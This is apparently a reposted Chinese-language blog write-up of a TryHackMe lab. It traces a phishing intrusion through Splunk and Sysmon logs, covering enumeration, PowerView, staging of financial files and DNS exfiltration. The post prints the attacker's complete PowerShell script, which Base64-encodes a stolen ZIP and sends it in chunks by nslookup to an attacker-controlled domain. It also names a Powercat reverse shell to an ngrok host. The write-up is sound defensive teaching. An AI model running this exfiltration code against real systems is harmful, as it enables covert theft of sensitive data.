文章总结: 本文详述了利用Splunk检测钓鱼攻击后的数据外泄。攻击者通过PowerShell窃取财务文件,转为Base64后利用DNS查询隐蔽传输。文章分析了攻击链及日志特征,证明DNS隧道能绕过传统防护。建议重点监控异常DNS请求与PowerShell行为,以识别此类高隐蔽性威胁。 综合评分: 90 文章分类: 应急响应,威胁情报,安全运营,内网渗透,红队
TryHackMe 钓鱼攻击展开:使用 Splunk 检测 Base64 与 DNS 数据外泄
haidragon
安全狗的自我修养
2026年1月14日 12:23 湖南
官网:http://securitytech.cc/
当我打开 Splunk 的那一刻,就已经很明显:这台工作站出了大问题。 钓鱼攻击已经成功 —— 攻击者已经进入系统内部。
第一个确凿的证据来自 Sysmon 的进程创建日志。
我注意到有一个 net.exe 进程被执行了,但真正引起警觉的是它的父进程:
powershell.exe
在正常的 Windows 系统中,net user 通常由管理员在 命令提示符(cmd) 中执行。
在钓鱼调查中看到它由 PowerShell 启动,是一个巨大的红旗 🚩。
这是攻击者在后渗透阶段常用的技术,用于:
- 枚举本地用户
- 确认当前登录的账户
- 判断可用权限级别
此时,事件已经不再只是“收到一封可疑邮件”那么简单。 攻击者已经在终端上主动查询系统并进行环境侦察。
按 Enter 或点击可查看大图
几秒后,另一个 Sysmon 日志显示 net.exe 再次被执行,这次带有参数:
localgroup
并且同样是由 powershell.exe 启动。
这是在列出用户之后的典型下一步操作。 攻击者正在检查本地组,很可能是为了确认:
- 谁属于 Administrators(管理员)组 👀
这能告诉攻击者:
- 是否已经拥有高权限
- 还是需要进一步进行权限提升
此时已经可以确定: 系统正被攻击者实时控制,而不仅仅是“被钓鱼影响”。
按 Enter 或点击可查看大图
在完成初步侦察命令后,一个新文件出现了:
PowerView.ps1
该文件由 powershell.exe 创建,位置在用户的 Downloads(下载)目录。
PowerView 是一个著名的后渗透工具,用于:
- 枚举用户
- 枚举组
- 枚举域信息
到这里已经非常清楚: 攻击者已经从“初始发现”阶段,转向在受害系统上运行自己的工具。
按 Enter 或点击可查看大图
脚本落地后,PowerShell 立刻执行了一个带有参数的命令:
ExecutionPolicy Bypass
这是攻击者的经典手法,用于:
- 绕过 Windows 执行策略
- 运行未签名或恶意脚本
这确认了一点: 攻击者已经开始直接执行有效载荷,而不只是准备文件。
按 Enter 或点击可查看大图
紧接着,一个临时脚本文件出现在用户的 Temp 目录:
__PSScriptPolicyTest_*.ps1
这个文件是在 PowerShell 测试或绕过脚本执行限制 时自动生成的。
它的存在说明:
- 安全控制被刻意规避
- 目的就是确保恶意脚本可以成功运行
按 Enter 或点击可查看大图
随后,一个名为 exfiltration 的新文件夹被创建在 Downloads 目录中。
这一步非常关键。 此时攻击者已经不只是执行工具,而是在:
准备要被“偷走”的数据
这个目录极有可能包含了即将被发送出网络的敏感信息。
按 Enter 或点击可查看大图
随后,PowerShell 使用 net.exe 挂载了一个网络共享:
\\FILESRV-01\SSF-FinancialRecords
这表明攻击者正在访问一个包含财务数据的文件服务器。
结合前面创建的 exfiltration 目录,可以非常明确地判断:
敏感财务记录正在被收集,用于数据窃取。
按 Enter 或点击可查看大图
攻击者随后使用 robocopy.exe,将文件:
ClientPortfolioSummary.xlsx
复制到了 exfiltration 文件夹中。
该文件来自财务共享目录,说明:
- 客户敏感数据已被本地暂存
- 下一步就是对外传输
按 Enter 或点击可查看大图
接下来,PowerShell 启动 robocopy:
将网络共享中的所有内容复制到本地
exfiltration目录
这确认了攻击者的目的:
集中收集所有相关文件,为外泄做准备
按 Enter 或点击可查看大图
文件复制完成后,攻击者执行:
net use Z: /delete
这是一个典型的清理步骤,用于:
- 删除映射的网络驱动器
- 减少对文件服务器访问的明显痕迹
按 Enter 或点击可查看大图
随后,所有收集到的文件被压缩成一个 ZIP 文件:
exfilt8me.zip
将所有数据打包成一个 ZIP:
- 便于编码
- 便于后续外泄
按 Enter 或点击可查看大图
ZIP 文件创建后,PowerShell 立刻执行了 nslookup,并使用了一个极其异常的域名:
AdAAAAHQAAAEludmVzdG9yUHJlc2Vu.haz4rdw4re.io
这个看起来随机的超长子域名 不是正常的 DNS 流量。 它实际上是:
Base64 编码后的数据
攻击者将 exfilt8me.zip 的内容:
- Base64 编码
- 拆分
- 嵌入 DNS 查询中
从而:
通过 DNS 协议悄无声息地把数据传出网络
DNS 通常不会被严格检查或阻断,这使它成为非常理想的数据外泄通道。
在真实环境中,这种行为不会只出现一次。 通常会看到:
- 数十
- 甚至数百条
几乎一模一样的 DNS 请求,每一条都携带一小段 Base64 数据。
按 Enter 或点击可查看大图
下面是攻击者使用的 完整 PowerShell 外泄代码:
$base64 = [System.Convert]::ToBase64String(
[System.IO.File]::ReadAllBytes(
"C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip"
)
);
$base64-split'(.{1,30})' |
Where-Object { $_-ne'' } |
ForEach-Object {
Invoke-Expression"nslookup $_.haz4rdw4re.io"
}
1️⃣ 读取 ZIP 文件
[System.IO.File]::ReadAllBytes("…exfilt8me.zip")
将包含被盗财务数据的 ZIP 文件完整读入内存。
2️⃣ 转换为 Base64
[System.Convert]::ToBase64String(…)
DNS 只能传输文本,不能传输二进制文件。 Base64 将 ZIP 转换为可通过 DNS 发送的文本字符串。
3️⃣ 存储到 $base64
$base64 = …
此时,所有被盗数据都存在于一个超长 Base64 字符串中。
4️⃣ 拆分为小块
$base64-split'(.{1,30})'
DNS 对域名长度有限制,因此将数据拆分为 30 字符一段。
5️⃣ 移除空值
Where-Object { $_-ne'' }
清理拆分过程中产生的空字符串。
6️⃣ 通过 DNS 逐块发送
Invoke-Expression"nslookup $_.haz4rdw4re.io"
每一段都会变成如下形式的查询:
nslookup U3VtbWFyeS54bHN4c87JTM0rCcgvKk.haz4rdw4re.io
U3VtbWFyeS54bHN4c87JTM0rCcgvKk→ Base64 数据块haz4rdw4re.io→ 攻击者控制的域名
攻击者的 DNS 服务器接收这些查询:
- 提取子域名
- 拼接
- 解码
- 还原 ZIP 文件
按 Enter 或点击可查看大图
该 PowerShell 管道日志完整展示了外泄过程:
- 每一段 Base64 数据
- 经
Where-Object处理 - 再通过
nslookup发送到攻击者域名
日志中重复出现的 Base64 字符串,正是被盗 ZIP 文件的真实内容片段。
按 Enter 或点击可查看大图
最后,PowerShell 日志显示攻击者建立了一个远程后门:
- 从 GitHub 下载 Powercat
- 在内存中执行
- 连接到
2.tcp.ngrok.io:19282
这为攻击者提供了一个 交互式 PowerShell 会话,即使数据已经外泄,仍可长期控制该主机。
一个非常关键的 Base64 字符串:
UEsDBBQAAAAIANigLlfVU3cDIgAAAI
Base64 解码后为:
50 4B 03 04
这是 ZIP 文件的魔数(PK..)。
📌 铁证如山: 被外泄的数据 确实是一个 ZIP 压缩包。
还能从 Base64 中恢复文件名:
Q2xpZW50UG9ydGZvbGlvU3VtbWFyeS54bHN4
→ ClientPortfolioSummary.xlsx
SW52ZXN0b3JQcmVzZW50YXRpb24yMDIzLnBwdHg
→ InvestorPresentation2023.pptx
这证明:
- Base64 数据还原后
- 得到一个 ZIP
- 包含 Excel 财务报表 + PowerPoint 投资演示文稿
总结
这个事件展示了:
- 仅凭 PowerShell + DNS
- 就可以完成高隐蔽性的数据窃取
通过:
- 压缩
- Base64 编码
- DNS 分片传输
攻击者成功绕过了传统安全控制。
即使日志中只留下了零散片段, 这些片段也足以证明:
一个包含敏感商业文件的 ZIP,已经被成功偷走。
当 DNS 被这样滥用时, 等你发现,数据早就不在了。
- 公众号:安全狗的自我修养
- vx:2207344074
- http://gitee.com/haidragon
- http://github.com/haidragon
- bilibili:haidragonx
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全狗的自我修养 haidragon《TryHackMe 钓鱼攻击展开:使用 Splunk 检测 Base64 与 DNS 数据外泄》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论